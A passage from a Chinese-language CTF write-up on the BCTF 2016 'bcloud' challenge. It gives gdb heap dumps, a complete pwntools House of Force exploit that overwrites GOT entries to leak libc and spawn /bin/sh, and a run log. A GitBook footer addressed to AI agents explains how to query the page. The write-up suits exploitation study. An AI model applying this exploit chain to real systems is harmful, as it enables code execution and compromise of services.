溢出：

```
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090:	0x00000000	0x00000049	0x41414141	0x41414141
0x804c0a0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0b0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0c0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0d0:	0x41414141	0x41414141	0x0804c098	0xffffffff  <-- top chunk size
0x804c0e0:	0x00000000	0x00000000
```

转移 top chunk：

```
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090:	0x00000000	0x00000049	0x41414141	0x41414141
0x804c0a0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0b0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0c0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0d0:	0x41414141	0x41414141	0x0804c098	0xffffefc1  <-- notes[0] chunk
0x804c0e0:	0x00000000	0x00000000
gdb-peda$ p 0x804c0d8 + 0xffffefc0
$1 = 0x804b098
gdb-peda$ x/40wx 0x804b098
0x804b098:	0x00000000	0x00001039	0xffffefb4	0x00000000  <-- top chunk
0x804b0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0c8:	0x0804c098	0x0804c008	0x00000000	0x00000000
0x804b0d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b108:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b118:	0x00000000	0x00000000	0x0804c0e0	0x00000000  <-- notes[0]
0x804b128:	0x00000000	0x00000000	0x00000000	0x00000000
```

再次 malloc，将其后的 .bss 段变为可写，然后放上 GOT 表指针：

```
gdb-peda$ x/40wx 0x0804b0a0-0x8
0x804b098:	0x00000000	0x00000099	0x41414141	0x41414141  <-- chunk
0x804b0a8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0b8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0c8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0d8:	0x41414141	0x41414141	0x41414141	0x00000000
0x804b0e8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0f8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b108:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b118:	0x41414141	0x41414141	0x0804b014	0x0804b03c  <-- notes[0], notes[1]
0x804b128:	0x0804b03c	0x00000000	0x00000000	0x00000fa1  <-- notes[2]    <-- top chunk
```

### leak libc

```python
def leak_libc():
    global system_addr

    edit(0, p32(elf.plt['puts']))   # free@got.plt -> puts@plt

    delete(1)                       # puts(atoi_addr)
    io.recvuntil("id:\n")
    leak_atoi_addr = u32(io.recvn(4))
    libc_base = leak_atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']

    log.info("leak atoi address: 0x%x" % leak_atoi_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
```

接下来就可以利用 Edit 功能修改 GOT 表，泄漏 libc 地址了。

### pwn

```python
def pwn():
    edit(2, p32(system_addr))       # atoi@got.plt -> system@got.plt
    io.sendline("/bin/sh\x00")

    io.interactive()
```

开启 ASLR，Bingo!!!

```
$ python exp.py
[+] Starting local process './bcloud': pid 6696
[*] leak heap address: 0x9181008
[*] leak atoi address: 0xf756b860
[*] libc base: 0xf753a000
[*] system address: 0xf757a190
[*] Switching to interactive mode
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./bcloud'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('bcloud')
libc = ELF('libc-2.19.so')

bss_addr  = 0x0804b0a0

def new(length, content):
    io.sendlineafter("option--->>\n", '1')
    io.sendlineafter("content:\n", str(length))
    io.sendlineafter("content:\n", content)

def edit(idx, content):
    io.sendlineafter("option--->>\n", '3')
    io.sendline(str(idx))
    io.sendline(content)

def delete(idx):
    io.sendlineafter("option--->>\n", '4')
    io.sendlineafter("id:\n", str(idx))

def leak_heap():
    global leak

    io.sendafter("name:\n", "A" * 0x40)
    leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
    log.info("leak heap address: 0x%x" % leak)

def house_of_force():
    io.sendafter("Org:\n", "A" * 0x40)
    io.sendlineafter("Host:\n", p32(0xffffffff))    # overflow

    new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak

    payload  = "A" * 0x80
    payload += p32(elf.got['free'])         # notes[0]
    payload += p32(elf.got['atoi']) * 2     # notes[1], notes[2]
    new(0x8c, payload)

def leak_libc():
    global system_addr

    edit(0, p32(elf.plt['puts']))   # free@got.plt -> puts@plt

    delete(1)                       # puts(atoi_addr)
    io.recvuntil("id:\n")
    leak_atoi_addr = u32(io.recvn(4))
    libc_base = leak_atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']

    log.info("leak atoi address: 0x%x" % leak_atoi_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)

def pwn():
    edit(2, p32(system_addr))       # atoi@got.plt -> system@got.plt
    io.sendline("/bin/sh\x00")

    io.interactive()

if __name__ == '__main__':
    leak_heap()
    house_of_force()
    leak_libc()
    pwn()
```

## 参考资料

* <https://ctftime.org/task/2165>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.23_pwn_bctf2016_bcloud.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
